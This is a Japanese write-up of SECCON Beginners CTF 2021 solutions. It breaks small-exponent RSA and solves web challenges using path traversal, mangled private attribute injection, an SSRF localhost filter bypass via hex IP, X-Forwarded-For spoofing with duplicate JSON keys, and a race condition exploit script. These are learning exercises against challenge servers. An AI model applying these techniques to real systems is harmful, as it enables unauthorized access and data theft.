#はじめに
SECCON Begginers CTF 2021にチームIronMaidenで参加していました。
自分は主にwebを解いていました。最終的にチームは207/943位でした。
crypto1問、web5問のwriteupを以下に記します。
#【crypto】 simple_RSA
問題文 : Let's encrypt it with RSA!
output.txt
に記載されているn
、e
、c
の値と、problem.py
からflagをとる。
n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613
from Crypto.Util.number import *
from flag import flag
flag = bytes_to_long(flag.encode("utf-8"))
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 3
assert 2046 < n.bit_length()
assert 375 == flag.bit_length()
print("n =", n)
print("e =", e)
print("c =", pow(flag, e, n))
RSA暗号の基本的な問題。
e = 3
と2つのassert
から $m^e < n$が成り立つ。
つまり$c = m^e \ mod \ n = m^e$。後はc
のe
乗根を求める。
この記事を参考にする。
import sys
import gmpy2
from Crypto.Util.number import *
n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613
m,result = gmpy2.iroot(c,e)
print(long_to_bytes(m))
$ python3 solve.py
b"ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}"
#【web】 osoba
問題文 : 美味しいお蕎麦を食べたいですね。フラグはサーバの/flag
にあります!
問題ページ : https://score.beginners.azure.noc.seccon.jp/challenges
from flask import Flask, request, send_file, make_response
app = Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def index():
page = request.args.get('page', 'public/index.html')
response = make_response(send_file(page))
response.content_type = "text/html"
return response
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080)
app.py
より、page
クエリパラメータに表示するページを渡せることがわかる。
page = request.args.get('page', 'public/index.html')
https://osoba.quals.beginners.seccon.jp/?page=/flag
を叩くとflagゲット。
#【web】 Werewulf
問題文 : I wish I could play as a werewolf...
問題ページ : https://werewolf.quals.beginners.seccon.jp/
import os
import random
from flask import Flask, render_template, request, session
# ====================
app = Flask(__name__)
app.FLAG = os.getenv("CTF4B_FLAG")
# ====================
class Player:
def __init__(self):
self.name = None
self.color = None
self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
# :-)
# self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])
@property
def role(self):
return self.__role
# :-)
# @role.setter
# def role(self, role):
# self.__role = role
# ====================
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == 'GET':
return render_template('index.html')
if request.method == 'POST':
player = Player()
for k, v in request.form.items():
player.__dict__[k] = v
return render_template('result.html',
name=player.name,
color=player.color,
role=player.role,
flag=app.FLAG if player.role == 'WEREWOLF' else ''
)
# ====================
if __name__ == '__main__':
app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
app.py
より、role
をWEREWOLF
にするとflagが得られることがわかる。
role
は配列からランダムに割り当てられており、配列の要素にWEREWOLF
は含まれない。
以下のコード部分よりリクエストフォームに指定した値でrole
を指定できそう。
for k, v in request.form.items():
player.__dict__[k] = v
しかし、そのまま__role=Werewulf
としてもrole
はWerewulf
にならない。
この記事によると、クラス内の先頭に__
がついた変数の名前は「_クラス名
+変数名
」に変換されることがわかる。
なので、_Player__role=Werewulf
とするとflagが取れる。
以下、左部分が送信したリクエスト。
#【web】 check_url
問題文 : Have you ever used curl
?
問題ページ : https://check-url.quals.beginners.seccon.jp/
<!-- HTML Template -->
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
echo "Hi, Admin or SSSSRFer<br>";
echo "********************FLAG********************";
}else{
echo "Here, take this<br>";
$url = $_GET["url"];
if ($url !== "https://www.example.com"){
$url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
}
if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
die("do not hack me!");
}
echo "URL: ".$url."<br>";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
echo "<iframe srcdoc='";
curl_exec($ch);
echo "' width='750' height='500'></iframe>";
curl_close($ch);
}
?>
<!-- HTML Template -->
index.php
より127.0.0.1
としてアクセスできるとflagが取れる。
https://check-url.quals.beginners.seccon.jp/?url=http://127.0.0.1
を叩いても、以下のように変換されてしまう。
変換部分はこれ。
$url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
この記事を見ると、127.0.0.1を16進数で表現したものが見つかる。
https://check-url.quals.beginners.seccon.jp/?url=http://0x7f000001
を叩くと、flag取れる。
#【web】 json
問題文 : 外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
問題ページ : https://json.quals.beginners.seccon.jp/
配布されたコードの構成。
apiサーバーとbuffサーバーがある。
.
├── api
│ ├── Dockerfile
│ ├── go.mod
│ ├── go.sum
│ └── main.go
├── bff
│ ├── Dockerfile
│ ├── go.mod
│ ├── go.sum
│ ├── main.go
│ └── templates
│ ├── error.tmpl
│ └── index.html
├── docker-compose.yml
├── nginx
│ ├── Dockerfile
│ └── default.conf
問題ページを見ると、192.168.111.0/24
からアクセスしないといけないことがわかる。
サーバ側ではgoのginが使用されており、クライアントのIPアドレスは以下の部分で取得されている。
clientIP := c.ClientIP()
調べるとCVE-2020-28483が見つかり、ginのclinetIPはリクエストのヘッダX-Forwarded-For
に指定したアドレスでスプーフィングが可能であることがわかる。
つまり、リクエストヘッダにX-Forwarded-For: 192.168.111.0
をつけると内部ページにアクセス可能になる。
リクエストは最初buffサーバに送られ、以下のvalidationを突破するとapiサーバに送られる。
// validation
if info.ID < 0 || info.ID > 2 {...}
if info.ID == 2 {...}
validationによるとid
は0
か1
でないといけない。
しかし、apiサーバはid
が2の時にflagをくれる(理不尽)。
if id == 2 {
// Flag!!!
flag := os.Getenv("FLAG")
c.String(200, flag)
return
}
またいろいろ調べていると、この記事が見つかる。
キーを衝突させるとどうやら面白いことが起こりそうなので、衝突させてみる。
以下のようなjsonを送りつける。
{
"id": 2,
"id": 1
}
#【web】 cant_use_db
問題文:
Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜
問題ページ: https://cant-use-db.quals.beginners.seccon.jp/
import os
import re
import time
import random
import shutil
import secrets
import datetime
from flask import Flask, render_template, session, redirect
app = Flask(__name__)
app.secret_key = secrets.token_bytes(256)
def init_userdata(user_id):
try:
os.makedirs(f"./users/{user_id}", exist_ok=True)
open(f"./users/{user_id}/balance.txt", "w").write("20000")
open(f"./users/{user_id}/noodles.txt", "w").write("0")
open(f"./users/{user_id}/soup.txt", "w").write("0")
return True
except:
return False
def get_userdata(user_id):
try:
balance = open(f"./users/{user_id}/balance.txt").read()
noodles = open(f"./users/{user_id}/noodles.txt").read()
soup = open(f"./users/{user_id}/soup.txt").read()
return [int(i) for i in [balance, noodles, soup]]
except:
return [0] * 3
@app.route("/")
def top_page():
user_id = session.get("user")
if not user_id:
dirnames = datetime.datetime.now()
user_id = f"{dirnames.hour}{dirnames.minute}/" + secrets.token_urlsafe(30)
if not init_userdata(user_id):
return redirect("/")
session["user"] = user_id
userdata = get_userdata(user_id)
info = {
"user_id": re.sub("^[0-9]*?/", "", user_id),
"balance": userdata[0],
"noodles": userdata[1],
"soup": userdata[2]
}
return render_template("index.html", info = info)
@app.route("/buy_noodles", methods=["POST"])
def buy_noodles():
user_id = session.get("user")
if not user_id:
return redirect("/")
balance, noodles, soup = get_userdata(user_id)
if balance >= 10000:
noodles += 1
open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
time.sleep(random.uniform(-0.2, 0.2) + 1.0)
balance -= 10000
open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
return "💸$10000"
return "ERROR: INSUFFICIENT FUNDS"
@app.route("/buy_soup", methods=["POST"])
def buy_soup():
user_id = session.get("user")
if not user_id:
return redirect("/")
balance, noodles, soup = get_userdata(user_id)
if balance >= 20000:
soup += 1
open(f"./users/{user_id}/soup.txt", "w").write(str(soup))
time.sleep(random.uniform(-0.2, 0.2) + 1.0)
balance -= 20000
open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
return "💸💸$20000"
return "ERROR: INSUFFICIENT FUNDS"
@app.route("/eat")
def eat():
user_id = session.get("user")
if not user_id:
return redirect("/")
balance, noodles, soup = get_userdata(user_id)
shutil.rmtree(f"./users/{user_id}/")
session["user"] = None
if (noodles >= 2) and (soup >= 1):
return os.getenv("CTF4B_FLAG")
if (noodles >= 2):
return "The noodles seem to get stuck in my throat."
if (soup >= 1):
return "This is soup, not ramen."
return "Please make ramen."
if __name__ == "__main__":
app.run()
どうやら残高が20000ドルで、10000ドルのNoodlesを2個と20000ドルのSoupを1個買えるとflagが取れそう(理不尽)。
buy_noodles()
とbuy_soup()
を見ると、残高を減らす処理の前に約1秒のsleep処理があります。
time.sleep(random.uniform(-0.2, 0.2) + 1.0)
このことから約1秒の間にbuy_noodles()
を2回、buy_soup()
を1回呼び出すことができれば、残高をごまかしてNoodlesを2個、Soupを1個買うことができそう。
#!/usr/bin/env python
import asyncio
import requests
import time
import threading
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def buy_noodle(cookie):
r = requests.post(url + "/buy_noodles", verify=False, cookies=cookie)
print(r.text)
def buy_soup(cookie):
r = requests.post(url + "/buy_soup", verify=False, cookies=cookie)
print(r.text)
url = "https://cant-use-db.quals.beginners.seccon.jp"
r1 = requests.get(url + "/", verify=False)
cookie = r1.cookies
# 非同期で/buy_noodlesを2回、/buy_soupを1回叩く
loop = asyncio.get_event_loop()
loop.run_in_executor(None, buy_noodle, cookie)
loop.run_in_executor(None, buy_noodle, cookie)
loop.run_in_executor(None, buy_soup, cookie)
time.sleep(3)
r5 = requests.get(url + "/eat", verify=False, cookies=cookie)
print(r5.text)
solve.py
を実行するとflagが取れます。
$ python3 solve.py
💸$10000
💸$10000
💸💸$20000
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
おわりに
去年は1問も解けなかったSECCON Beginners CTFでしたが、今年は計6問解くことができました!
成長を実感することができ、嬉しい限りです。
運営の皆さん、お疲れ様でした。ありがとうございます!